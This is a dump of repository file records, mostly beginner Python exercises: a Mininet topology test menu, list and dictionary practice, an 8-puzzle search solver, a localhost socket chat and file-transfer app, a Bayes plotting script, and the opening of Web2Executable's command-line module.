(mainOption == 2):\n print\n \"####### Fat Tree Topology #######\"\n print\n \"######################################\\n\"\n\n inputSimpleFanout = input('Please enter the desired fanout: ')\n\n while (not simpleGoBack):\n\n print\n \"\\n######################################\"\n if (mainOption == 1):\n print\n \" Simple Tree Topology with Fanout %s\" % inputSimpleFanout\n if (mainOption == 2):\n print\n \" Fat Tree Topology with Fanout %s\" % inputSimpleFanout\n print\n \"######################################\\n\"\n print\n \"Menu:\\n\"\n print\n \" 1 - Create Topology\"\n print\n \" 2 - Run Topology Tests\"\n print\n \" 3 - Go Back\\n\"\n inputSimpleOption = input('Please enter the desired option: ')\n\n if (inputSimpleOption == 3):\n cleanup()\n createdTopo = False\n simpleGoBack = True\n\n if (inputSimpleOption == 1):\n if (createdTopo):\n print\n \"\\nTopology already created!\\n\"\n else:\n if (createdTopoPing or createdTopoPingLoss):\n cleanup()\n if (mainOption == 1):\n net = startSimpleTreeTopology(inputSimpleFanout)\n if (mainOption == 2):\n net = startFatTreeTopology(inputSimpleFanout)\n createdTopo = True\n if (inputSimpleOption == 2):\n simpleTestGoBack = False\n createdTopoPing = False\n createdTopoPingLoss = False\n while (not simpleTestGoBack):\n print\n \"\\n###############################################\"\n if (mainOption == 1):\n print\n \" Tests for Simple Tree Topology with Fanout %s\" % inputSimpleFanout\n if (mainOption == 2):\n print\n \" Tests for Fat Tree Topology with Fanout %s\" % inputSimpleFanout\n print\n \"###############################################\\n\"\n print\n \"Menu:\\n\"\n print\n \" 1 - iPerf Test\"\n print\n \" 2 - Ping Test\"\n print\n \" 3 - Ping 10% Loss\"\n print\n \" 4 - Go Back\\n\"\n inputSimpleTestOption = input('Please enter the desired option: ')\n\n if (inputSimpleTestOption == 4):\n simpleTestGoBack = True\n\n if (inputSimpleTestOption == 1):\n\n print\n \"\\n##############################################\"\n print\n \"############# Running iPerf Test ##############\"\n print\n \"###############################################\\n\"\n if (createdTopo == False):\n if (mainOption == 1):\n net = startSimpleTreeTopology(inputSimpleFanout)\n if (mainOption == 2):\n net = startFatTreeTopology(inputSimpleFanout)\n createdTopo = True\n\n createdTopoPing = False\n createTopoPingLoss = False\n\n node1 = raw_input(\"\\nPlease select a source Host (hX): \")\n node2 = raw_input(\"Please select destination Host (hX): \")\n testIperf(net, node1, node2)\n explanationIperf(mainOption)\n\n if (inputSimpleTestOption == 2):\n\n print\n \"\\n###############################################\"\n print\n \"############# Running Ping Test ###############\"\n print\n \"###############################################\\n\"\n\n if (createdTopoPing == False):\n cleanup()\n linkopts1 = {'delay': \"1ms\"}\n linkopts2 = {'delay': \"2ms\"}\n linkopts3 = {'delay': \"5ms\"}\n\n if (mainOption == 1):\n net = startSimpleTreeTopology(inputSimpleFanout, linkopts1, linkopts2, linkopts3)\n if (mainOption == 2):\n net = startFatTreeTopology(inputSimpleFanout, linkopts1, linkopts2, linkopts3)\n createdTopoPing = True\n createdTopo = False\n createdTopoPingLoss = False\n\n node1 = raw_input(\"\\nPlease select a source Host (hX): \")\n node2 = raw_input(\"Please select destination Host (hX): \")\n testPing(net, node1, node2)\n explanationPing(net, node1, node2, linkopts1, linkopts2, linkopts3)\n\n if (inputSimpleTestOption == 3):\n print\n \"\\n#############################################\"\n print\n \"############# Running Ping Loss Test #########\"\n print\n \"##############################################\\n\"\n if (createdTopoPingLoss == False):\n cleanup()\n linkopts1 = {'loss': 10}\n linkopts2 = {'loss': 10}\n linkopts3 = {'loss': 10}\n\n if (mainOption == 1):\n net = startSimpleTreeTopology(inputSimpleFanout, linkopts1, linkopts2, linkopts3)\n if (mainOption == 2):\n net = startFatTreeTopology(inputSimpleFanout, linkopts1, linkopts2, linkopts3)\n createdTopoPingLoss = True\n createdTopo = False\n createdTopoPing = False\n\n node1 = raw_input(\"\\nPlease select a source Host (hX): \")\n node2 = raw_input(\"Please select destination Host (hX): \")\n testPing(net, node1, node2)\n explanationPingLoss()\n\n\nif __name__ == '__main__':\n # Tell mininet to print useful information\n setLogLevel('info')\n run()\n" }, { "alpha_fraction": 0.5872281193733215, "alphanum_fraction": 0.6145303249359131, "avg_line_length": 20.610000610351562, "blob_id": "8e46530df4fda4b663142260a612c95d69447e60", "content_id": "6bfd8288729a89bb85529f933795a2c0aace6696", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4478, "license_type": "no_license", "max_line_length": 80, "num_lines": 200, "path": "/material/test.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "\n'''\nvar=1\nwhile(var==1):\n a=int(input(\"请输入一个数字\"))\n print(\"你输入的数字是\"+a)\n var=1\nwhile(var==1):\n a=int(input(\"请输入一个数字\"))\n print(\"你输入的数字是%d\"%a)\n\n\nbicycles=['xiarong','chongcheng','xilinsx']\nfor i in range(len(bicycles)):\n print(\"My bicycle is \"+bicycles[i].title())\n\nn=100\ncounter=1\nsum=0\nwhile(counter<=100):\n sum+=counter\n counter+=1\nprint(\"The sum from 1 to 100 is %d\"%sum)\n'''\n'''\nbike=['sukuzi','yamaha','sakura','keyaki','nogi']\nprint(bike)\nbike.insert(3,'hinata')\nprint(bike)\nlastbike=bike.pop(3)\nbike.append('xiaomi')\nbike.insert(0,'google')\nprint(bike)\nprint(\"下面开始排序测试\")\nprint(sorted(bike))\nprint(bike)\nbike.sort(reverse=True)\nprint(bike)\nprint(len(bike))\ndel bike[0]\nprint(bike,' ',len(bike))\nfor kind in range(0,3):\n print('Im in lkove it! '+bike[kind])\nprint(\"I am eccentric\")\n\nnum=list(range(1,7,1))\nprint(num)\n\nsquares=[]\nsum=0\nfor value in range(1,11):\n square=value**2\n sum+=square\n squares.append(square)\nprint(squares)\nprint('THE SUM IS',sum)\n'''\n'''\nsquare=[value**2 for value in range(1,11)]\nsquare2=square\nprint(square)\nprint(\"square2 now is\",square2)\nsquare2.append(5050)\nprint(square2)\nprint(square)\nif 100 in square:\n print(\"True bro\")\n\nimport random\ns=[]\ni=0\nfor value in range(1,10000001):\n s.append(random.randint(0,1))\n i+=1\nprint(\"total times is \",i)\nprint(\"1 totally appears\",sum(s),\"times,and the probability is\",sum(s)/10000000)\n\nmyfriend={\n 'best':'hlc',\n 'old':'hcr',\n 'school':'lrh',\n 'university':'la',\n 'politics':'hlc',\n 'meme':'hlc'\n}\nfor level,name in myfriend.items():\n print(\"He is my \"+level+' friend, name is '+name)\nprint(myfriend.values())\nprint(set(myfriend.items()))#set的返回值是大括号(字典)? 其实set只是一个不允许重复的列表\nhobbies=['anime','japanese_idol','politics','sci-fi','sci-fi']\nprint(hobbies)\nprint((sorted(set(hobbies))))\n'''\n'''\naliens=[]\nfor num in range(20):\n alien={'color':'green','points':5,'speed':'slow'}\n aliens.append(alien)\n print(alien)\nprint(\"That's all the aliens we have for now.\\n\")\nfor alien in aliens[0:5]:#修改前五个alien的属性\n if alien['color']=='green':\n alien['color']='yellow'\n alien['speed']='fast'\n alien['points']=10\nfor alien in aliens[0:5]:\n print(alien)\nprint(\"......\")\nfavorite_language={\n 'hsr':['cpp','python'],\n 'hcr':['c','java','python'],\n 'hlc':['python','r'],\n 'wyc':[],\n 'liang':['objective-c']\n}\nfor name,languages in favorite_language.items():\n if len(languages)>1:\n print(\"\\n\"+name.title()+\"'s favourite languages are as follows:\")\n for language in languages:\n print(\"\\t\"+language.title())\n elif len(languages)==1:\n print(\"\\n\" + name.title() + \"'s favourite languages is:\")\n print(\"\\t\"+languages[0])\n elif len(languages)<1:\n print(\"\\n\" + name.title()+\" doesn\\'t have a favorite language.\")\n\nmessage=\"Now please tell me sth\"\nmessage+=\"\\n...about Yourself:\"\ninfo=input(message)\nwhile info!='hesirui':\n info=input(\"Say that again:\")\n print(\"Your name is \"+info)\nprint(\"Welcome,HESIRUI!\")\n\n#输出100以内的质数\nnum=1\ns=[]\nwhile num<100:\n flag = 2\n num+=1\n while(flag<=num//2):\n if(num%flag==0):\n break\n flag+=1\n if(flag>num//2):\n s.append(num)\nprint(s)\n\ndef welcome(name):\n print(\"Hello,\"+name.title())\nwelcome(\"Jack\")\n\ndef build_person(first_name,last_name,age=''):\n person={\"first\":first_name,'last':last_name}\n if age:\n person['age']=age\n return person\ntest=build_person(\"Sirui\",\"He\",20)\nprint(test)\n\ndef greet_users(names):\n for name in names:\n print(\"Hello,\"+name)\n\npart1=['HESORO','ADIA','SRIRI','ABRAMEHM']\ngreet_users(part1)\n\nclass Dog():\n def __init__(self,name,age):\n self.name=name\n self.age=age\n def sit(self):\n print(self.name.title()+\" is sitting.\")\n def roll_over(self):\n print(self.name.title()+\" rolled over!\")\n def info(self):\n print(\"My dog's name is \"+self.name+\", his age is \"+str(self.age)+\"!\")\n\nmy_dog=Dog('william',6)\nmy_dog.sit()\nmy_dog.roll_over()\nmy_dog.info()\n\n\n'''\n'''\nimport ast\nstart = [[2, 8, 3], [1, 0, 4], [7, 6, 5]]\nfor index,test in enumerate(start):\n print[]\n'''\n'''\ntest=[1,2,3,4,5]\ntest.append(6)\ntest.remove(3)\nprint(test.pop())\nprint(test)\n'''\nmyname=\"heSIrUi \"\nprint(myname.title()+'low0')\nprint(\"\\t\"+myname.rstrip()+'low0')" }, { "alpha_fraction": 0.5872092843055725, "alphanum_fraction": 0.6395348906517029, "avg_line_length": 20.5625, "blob_id": "25257538880f6d911ea6ab612b2dbabd3d869f8b", "content_id": "7e1f42f2fd3fc3db2ad2d4e7133e6efaf1bcdb2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 358, "license_type": "no_license", "max_line_length": 51, "num_lines": 16, "path": "/chatapp/client0.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import threading,time,socket\nhost=\"127.0.0.1\"\nport=8888\naddr0=(host,port)\nsc=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nsc.connect(addr0)\nwhile(1):\n data=input(\"输入:\")\n if not data:\n break\n sc.send(data.encode(\"utf-8\"))\n data=sc.recv(100)\n if not data:\n break\n print(\"收到消息:\"+data.decode(\"utf-8\"))\nsc.close()" }, { "alpha_fraction": 0.5194174647331238, "alphanum_fraction": 0.542475700378418, "avg_line_length": 30.11320686340332, "blob_id": "217716efbbc01d2ccbf2b5dc75659b389da0baa0", "content_id": "dfdacde11709a85ce82dbf5e09c1fa19a96064f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1656, "license_type": "no_license", "max_line_length": 87, "num_lines": 53, "path": "/chatapp/receive_file_pre.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import socket,threading,time\nimport sys,os,struct\n\ndef socket_service():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind((\"127.0.0.1\", 8888))\n s.listen(10)\n\n print(\"waiting for connections...\")\n while(1):\n conn,addr=s.accept()\n t=threading.Thread(target=dealing,args=(conn,addr))\n t.start()\n\ndef dealing(conn,addr):\n print(\"Accept new connection from{}\".format(addr))\n conn.send(\"hello,ready for transmition!\".encode())\n while(1):\n fileinfo_size=struct.calcsize(\"128sl\")\n buf=conn.recv(fileinfo_size)\n if buf:\n filename,filesize=struct.unpack(\"128sl\",buf)\n\n #去除空格\n fn=filename.decode().strip(\"\\00\")\n\n new_filename=os.path.join(\"./\",\"new_\"+fn)\n print(\"file new name is {0},filesize is {1}\".format(new_filename,filesize))\n\n recvd_size=0\n fp=open(new_filename,\"wb\")\n print(\"start receiving...\")\n\n # while not recvd_size==filesize:\n while recvd_size<filesize:\n if(filesize-recvd_size>1024):\n data=conn.recv(1024)\n recvd_size+=len(data)\n process=recvd_size/filesize*100\n print(\"Receiving process: \"+\"%.2f\"%process+\"%\")\n else:\n data=conn.recv(filesize-recvd_size)\n recvd_size=filesize\n fp.write(data)\n fp.close()\n print(\"Receiving ends!\")\n conn.close()\n break\n\n\nif __name__==\"__main__\":\n socket_service()" }, { "alpha_fraction": 0.48268184065818787, "alphanum_fraction": 0.503463625907898, "avg_line_length": 24.41509437561035, "blob_id": "7b45a3cd130d1bea6b3f5b21582a2eca74f01036", "content_id": "c98533150704fb9036e3f9e93be7183800ac304b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4056, "license_type": "no_license", "max_line_length": 75, "num_lines": 159, "path": "/material/NineBlocks37_2.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import copy\nimport sys\nimport collections\nfrom functools import cmp_to_key\nsys.setrecursionlimit(1000000)\nstart0 = [[2, 8, 3], [1, 0, 4], [7, 6, 5]]\nend = [[1, 2, 3], [8, 0, 4], [7, 6, 5]]\nfathergraph = []\ngraph1 = {}\nopenlist = []\nclosedlist = []\npath1 = []\n\n\nclass Vector():\n def __init__(self, value):\n #super(Vector, self).__init__()\n #super().__init__()\n self.father = 0\n self.deep = 0\n self.value = value\n self.hn = 0\n for x_index, l in enumerate(value):\n for y_index, v in enumerate(l):\n if v == 0:\n self.x = x_index\n self.y = y_index\n\n def __eq__(self, other):\n return self.value == other.value\n\n __hash__ = object.__hash__\n\n def fathers(self, v):\n self.father = v\n\n def deeps(self, d):\n self.deep = d\n\n\ndef cmpVec(vec1, vec2):#比较两个vector的代价\n diffvec1 = 0\n diffvec2 = 0\n for index, value in enumerate(end):\n if vec1.value[index] != value:\n diffvec1 += 1\n if vec2.value[index] != value:\n diffvec2 += 1\n diffvec1 += vec1.deep\n diffvec2 += vec2.deep\n return diffvec1 - diffvec2\n\ndef control(s0, end):\n openlist.append(s0)\n deepmax = 50\n while openlist:\n #openlist.sort(key=cmp_to_key(cmpVec), reverse=True)#key=cmp_to_key\n n = openlist.pop()\n ds = n.deep\n closedlist.append(n)\n if n == end:\n print(\"success\")\n break\n res = nextVector(n)\n if res and n.deep < deepmax:\n ds += 1\n M = []\n for x in res:\n if x not in fathergraph:\n M.append(x)\n for x in M:\n x.fathers(n)\n for x in M:\n x.deeps(ds)\n for x in M:\n openlist.append(x)\n Graph(graph1, n, M)\n\n\ndef Graph(graph, fathervec, sonvec=[]):\n if fathervec not in graph:\n graph[fathervec] = []\n fathergraph.append(fathervec)\n if sonvec:\n for vec in sonvec:\n graph[fathervec].append(vec)\n fathergraph.append(vec)\n return graph\n\n\ndef nextVector(V):\n resultlist = []\n temp = 0\n x = V.x\n y = V.y\n if V.x == 0:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x + 1][y]\n Vlist[x + 1][y] = temp\n resultlist.append(Vector(Vlist))\n if V.x == 1:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x + 1][y]\n Vlist[x + 1][y] = temp\n resultlist.append(Vector(Vlist))\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x - 1][y]\n Vlist[x - 1][y] = temp\n resultlist.append(Vector(Vlist))\n if V.x == 2:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x - 1][y]\n Vlist[x - 1][y] = temp\n resultlist.append(Vector(Vlist))\n if V.y == 0:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x][y + 1]\n Vlist[x][y + 1] = temp\n resultlist.append(Vector(Vlist))\n if V.y == 1:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x][y + 1]\n Vlist[x][y + 1] = temp\n resultlist.append(Vector(Vlist))\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x][y - 1]\n Vlist[x][y - 1] = temp\n resultlist.append(Vector(Vlist))\n if V.y == 2:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x][y - 1]\n Vlist[x][y - 1] = temp\n resultlist.append(Vector(Vlist))\n return resultlist\n\n\nresult = []\ns = Vector(start0)\nfathergraph.append(s)\ne = Vector(end)\ncontrol(s,e)\nfa = closedlist[len(closedlist) - 1]\nwhile fa:\n result.append(fa)\n fa = fa.father\nresult = result[::-1]\ni=0;\nfor x in result:\n print(x.value)\n i+=1\nprint(\"NUM=\"+str(i))\n\n" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.75, "avg_line_length": 14.666666984558105, "blob_id": "fff44a02eaac8257e4cc8fc4d97951c7b2430b27", "content_id": "5ff908ea46af8234300c4ec8a6140de6b371c589", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 48, "license_type": "no_license", "max_line_length": 16, "num_lines": 3, "path": "/chatapp/guitest.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import tkinter\ntop=tkinter.Tk()\ntop.mainloop()\n\n" }, { "alpha_fraction": 0.5116076469421387, "alphanum_fraction": 0.534242570400238, "avg_line_length": 23.798561096191406, "blob_id": "94ef051b0b1f5c9660c0aebf3585a024212118d3", "content_id": "00f666ea11c18825abd9762579ae72031252c51e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3806, "license_type": "no_license", "max_line_length": 77, "num_lines": 139, "path": "/chatapp/client1.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import threading,time,socket\n\nhost=\"127.0.0.1\"\nport=8888\naddr0=(host,port)\nchat_with_byebye_flag=0\n\ndef sendmsg(skt,msg,head=\"\"):\n if len(head)>0:\n msg=head+msg\n skt.send(msg.encode(\"utf-8\"))\n\n\n\ndef client_signup(skt):\n print(\"欢迎注册!\")\n guide=\"signup_guide$\"\n skt.send(guide.encode(\"utf-8\"))\n while(1):\n username=input(\"请输入您想使用的用户名:\")\n text=\"signup_username$\"+username\n skt.send(text.encode(\"utf-8\"))\n msg=skt.recv(100).decode(\"utf-8\")\n\n password=input(\"请输入您想设置的密码:\")\n text=\"signup_password$\"+password\n skt.send(text.encode(\"utf-8\"))\n msg=skt.recv(100).decode(\"utf-8\")\n\n if(msg.lower()==\"signup_ok\"):\n print(\"注册成功,转入登陆界面\")\n break\n else:\n print(\"注册失败,请重试\")\n client_login(skt)\n\ndef client_login(skt):\n print(\"欢迎登录!\")\n guide=\"login_guide$\"\n skt.send(guide.encode(\"utf-8\"))\n while(1):\n username = input(\"请输入您的用户名:\")\n sendmsg(skt,username,\"login_username$\")\n\n password = input(\"请输入您的密码:\")\n sendmsg(skt,password,\"login_password$\")\n msg=skt.recv(100).decode(\"utf-8\")\n if (msg.lower() == \"login_ok\"):\n print(\"登录成功\")\n break\n else:\n print(\"登录失败,请重试\")\n client_online(skt)\n \n\ndef client_online(skt):\n print(\"test 登陆成功!\")\n while(1):\n msg=skt.recv(100).decode(\"utf-8\")\n if(len(msg)>0):\n break\n else:\n print(\"当前没有其他用户在线,等待10秒后重试。\")\n time.sleep(10)\n #sendmsg(skt,\"onlinelist$\")\n print(\"当前在线的用户有:\\n\"+msg)\n while(1):\n chatwith=input(\"请输入想聊天用户的名字:\")\n sendmsg(skt,chatwith,\"chat_with_sb$\")\n msg=skt.recv(100).decode(\"utf-8\")\n if(msg.startswith(\"chat_start\")):\n print(\"开始和 \"+chatwith+\" 聊天。\")\n break\n else:\n print(\"找不到 \"+chatwith+\" ,请重试。\")\n client_chat_with_sb(skt,chatwith)\n\ndef client_chat_with_sb(skt,chatwith):\n global chat_with_byebye_flag\n #启动另一个监听线程\n thread_receive=threading.Thread(target=clinet_thread_receive,args=(skt,))\n thread_receive.start()\n\n while (1):\n #data = input(\"输入:\")\n data = input()\n skt.send(data.encode(\"utf-8\"))\n if(data==\"byebye\"):\n chat_with_byebye_flag=1\n break\n if(chat_with_byebye_flag==1):\n #chat_with_byebye_flag=0\n break\n print(\"你已退出与 \"+chatwith+\" 的对话\")\n time.sleep(0.5)\n chat_with_byebye_flag=0\n time.sleep(0.5)\n client_online(skt)\n\ndef clinet_thread_receive(skt):\n global chat_with_byebye_flag\n while (1):\n msg=skt.recv(100).decode(\"utf-8\")\n if(msg.startswith(\"byebye\")):\n print(\"对方已退出。\")\n chat_with_byebye_flag=1\n break\n elif(chat_with_byebye_flag==1):\n break\n else:\n print(\"\\n\"+msg)\n\n\ndef main():\n skt=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n skt.connect(addr0)\n print(\"连接成功。请选择...\")\n print(\"1.注册\\t2.登陆\\t\")\n choice1=input(\">>\")\n if(choice1==\"1\"):\n client_signup(skt)\n if(choice1==\"2\"):\n client_login(skt)\n '''\n while(1):\n data=input(\"输入:\")\n if not data:\n break\n skt.send(data.encode(\"utf-8\"))\n data=skt.recv(100)\n if not data:\n break\n print(\"收到消息:\"+data.decode(\"utf-8\"))\n skt.close()\n '''\n\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.48808932304382324, "alphanum_fraction": 0.5084367394447327, "avg_line_length": 24.66878890991211, "blob_id": "cc6328b90a60524d1845ec0ab0832fa56380b129", "content_id": "55cc7706e1ade256e759e4c5202191fc1fe70e60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4030, "license_type": "no_license", "max_line_length": 62, "num_lines": 157, "path": "/material/NineBlocks27_backup.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import copy\nimport sys\n#from functools import cmp_to_key\nsys.setrecursionlimit(1000000)\nstart0 = [[2, 8, 3], [1, 0, 4], [7, 6, 5]]\nend = [[1, 2, 3], [8, 0, 4], [7, 6, 5]]\nfathergraph = []\ngraph1 = {}\nopenlist = []\nclosedlist = []\npath1 = []\n\n\nclass Vector(object):\n def __init__(self, value):\n super(Vector, self).__init__()\n self.father = 0\n self.deep = 0\n self.value = value\n self.hn = 0\n for x_index, l in enumerate(value):\n for y_index, v in enumerate(l):\n if v == 0:\n self.x = x_index\n self.y = y_index\n\n def __eq__(self, other):\n return self.value == other.value\n\n def fathers(self, v):\n self.father = v\n\n def deeps(self, d):\n self.deep = d\n\n\ndef cmpVec(vec1, vec2):\n diffvec1 = 0\n diffvec2 = 0\n for index, value in enumerate(end):\n if vec1.value[index] != value:\n diffvec1 += 1\n if vec2.value[index] != value:\n diffvec2 += 1\n diffvec1 += vec1.deep\n diffvec2 += vec2.deep\n return diffvec1 - diffvec2\n\n\ndef inGraph(ve):\n if not fathergraph:\n return False\n for i in fathergraph:\n if i == ve:\n return True\n return False\n\n\ndef control(s0, end):\n openlist.append(s0)\n deepmax = 50\n while openlist:\n openlist.sort(cmp=cmpVec, reverse=True)#key=cmp_to_key\n n = openlist.pop()\n ds = n.deep\n closedlist.append(n)\n if n == end:\n print (\"success\")\n break\n res = nextVector(n)\n if res and n.deep < deepmax:\n ds += 1\n M = [x for x in res if x not in fathergraph]\n [x.fathers(n) for x in M]\n [x.deeps(ds) for x in M]\n [openlist.append(x) for x in M]\n Graph(graph1, n, M)\n\n\ndef Graph(graph, fathervec, sonvec=[]):\n if fathervec not in graph:\n graph[fathervec] = []\n fathergraph.append(fathervec)\n if sonvec:\n for vec in sonvec:\n graph[fathervec].append(vec)\n fathergraph.append(vec)\n return graph\n\n\ndef nextVector(V):\n resultlist = []\n temp = 0\n x = V.x\n y = V.y\n if V.x == 0:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x + 1][y]\n Vlist[x + 1][y] = temp\n resultlist.append(Vector(Vlist))\n if V.x == 1:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x + 1][y]\n Vlist[x + 1][y] = temp\n resultlist.append(Vector(Vlist))\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x - 1][y]\n Vlist[x - 1][y] = temp\n resultlist.append(Vector(Vlist))\n if V.x == 2:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x - 1][y]\n Vlist[x - 1][y] = temp\n resultlist.append(Vector(Vlist))\n if V.y == 0:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x][y + 1]\n Vlist[x][y + 1] = temp\n resultlist.append(Vector(Vlist))\n if V.y == 1:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x][y + 1]\n Vlist[x][y + 1] = temp\n resultlist.append(Vector(Vlist))\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x][y - 1]\n Vlist[x][y - 1] = temp\n resultlist.append(Vector(Vlist))\n if V.y == 2:\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x][y - 1]\n Vlist[x][y - 1] = temp\n resultlist.append(Vector(Vlist))\n return resultlist\n\n\nif __name__ == '__main__':\n result = []\n s = Vector(start0)\n fathergraph.append(s)\n e = Vector(end)\n control(s, e)\n fa = closedlist[len(closedlist) - 1]\n while fa:\n result.append(fa)\n fa = fa.father\n result = result[::-1]\n for x in result:\n print (x.value)\n" }, { "alpha_fraction": 0.609510064125061, "alphanum_fraction": 0.6426513195037842, "avg_line_length": 21.419355392456055, "blob_id": "7b5359f0f86f94e123d9190e2e25c67b25be4be9", "content_id": "6eeb5a48751e19a0bd9f65b160435e2469b57145", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 774, "license_type": "no_license", "max_line_length": 50, "num_lines": 31, "path": "/AI/Bayes.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nplt.rcParams['font.sans-serif'] = ['KaiTi']\nplt.rcParams['axes.unicode_minus'] = False\nprint(\"-----------主观Bayes方法EH公式分段线性差值-----------\")\nprint(\"请输入LS:\")\nLS=float(input())\nprint(\"请输入LN:\")\nLN=float(input())\nprint(\"请输入P(H):\")\nPH=float(input())\nprint(\"请输入P(E):\")\nPE=float(input())\n\nP1=(LS*PH)/((LS-1)*PH+1)\nP0=(LN*PH)/((LN-1)*PH+1)\nplt.title('主观Bayes方法EH公式分段线性差值')\nplt.xlabel('P(E/S)')\nplt.ylabel('P(H/S)')\nxline1=[0,PE]\nyline1=[P0,PH]\nxline2=[PE,1]\nyline2=[PH,P1]\nplt.plot(xline1,yline1,'b')\nplt.plot(xline2,yline2,'r')\nplt.xlim(0,1.1)\nplt.legend()\nplt.axhline(y=PH,ls=\"--\",lw=1)\nplt.axvline(x=PE,ls=\"--\",lw=1)\nplt.grid(linestyle=\":\")\nplt.show()" } ]
24
jyapayne/Web2Executable
https://github.com/jyapayne/Web2Executable
c61709eb1b40681f8781227be79c7b1b8a66ed90
89fe81f842d1eff0dcc406d1b70a56e391f94e18
97542861819a3be49bebb4429dd4989950177479
refs/heads/master
2022-06-26T20:52:15.281877
2022-06-12T17:26:50
2022-06-12T17:26:50
18,312,641
760
100
null
null
null
null
null
[ { "alpha_fraction": 0.5261077284812927, "alphanum_fraction": 0.5290067791938782, "avg_line_length": 34.732784271240234, "blob_id": "0e3c1141a24105d79df7524354cb65a3bd75c149", "content_id": "ef1cce16e0ee0691ed8301a80ba5f52bcdf6371c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 60710, "license_type": "permissive", "max_line_length": 95, "num_lines": 1699, "path": "/command_line.py", "repo_name": "jyapayne/Web2Executable", "src_encoding": "UTF-8", "text": "\"\"\"Command-line module for Web2Executable\n\nThis module implements all of the functionality for Web2Executable that does\nnot require a GUI. This module can be run as a standalone script that will act\nas a command-line interface for Web2Executable.\n\nRun Example:\n Once the requirements have been installed and `SETUP.md`\n has been followed, execute\n\n $ python3.4 command_line.py --help\n\n for more information on all of the available options and usage\n instructions. A full example might be:\n\n $ python3.4 command_line.py --main index.html \\\n --export-to=mac-x64 ~/Projects/MyProject/\n\n\"\"\"\n\nimport argparse\nimport urllib.request as request\nimport platform\nimport re\nimport time\nimport sys\nimport os\nimport glob\nimport json\nimport shutil\nimport stat\nimport tarfile\nimport zipfile\nimport traceback\nimport subprocess\nimport plistlib\nimport codecs\nimport logging\nfrom datetime import datetime, timedelta\n\nfrom io import StringIO\n\nimport config\nimport utils\nfrom utils import zip_files, join_files\nfrom utils import get_data_path, get_data_file_path\nfrom util_classes import Setting, FileTree\n\nfrom image_utils.pycns import save_icns\nfrom pepy.pe import PEFile\n\nfrom semantic_version import Version\n\nfrom configobj import ConfigObj\n\nclass CommandBase(object):\n \"\"\"The common class for the CMD and the GUI\"\"\"\n def __init__(self, quiet=False):\n self.quiet = quiet\n self.logger = None\n self.output_package_json = True\n self.settings = self.get_settings()\n self._project_dir = ''\n self._output_dir = ''\n self._progress_text = ''\n self._output_err = ''\n self._extract_error = ''\n self._project_name = None\n self.original_packagejson = {}\n self.readonly = True\n self.update_json = True\n\n self.file_tree = FileTree()\n\n def init(self):\n self.logger = config.getLogger(__name__)\n self.update_nw_versions(None)\n self.setup_nw_versions()\n\n def update_nw_versions(self, button):\n self.progress_text = 'Updating nw versions...'\n self.get_versions()\n self.progress_text = '\\nDone.\\n'\n\n def setup_nw_versions(self):\n \"\"\"Get the nw versions stored in the local file\"\"\"\n nw_version = self.get_setting('nw_version')\n nw_version.values = []\n try:\n ver_file = get_data_file_path(config.VER_FILE)\n with codecs.open(ver_file, encoding='utf-8') as f:\n for line in f:\n nw_version.values.append(line.strip())\n except IOError:\n pass\n\n def get_nw_versions(self):\n \"\"\"Get the already downloaded nw versions from the settings\"\"\"\n nw_version = self.get_setting('nw_version')\n return nw_version.values[:]\n\n def get_settings(self):\n \"\"\"Load all of the settings from the settings config 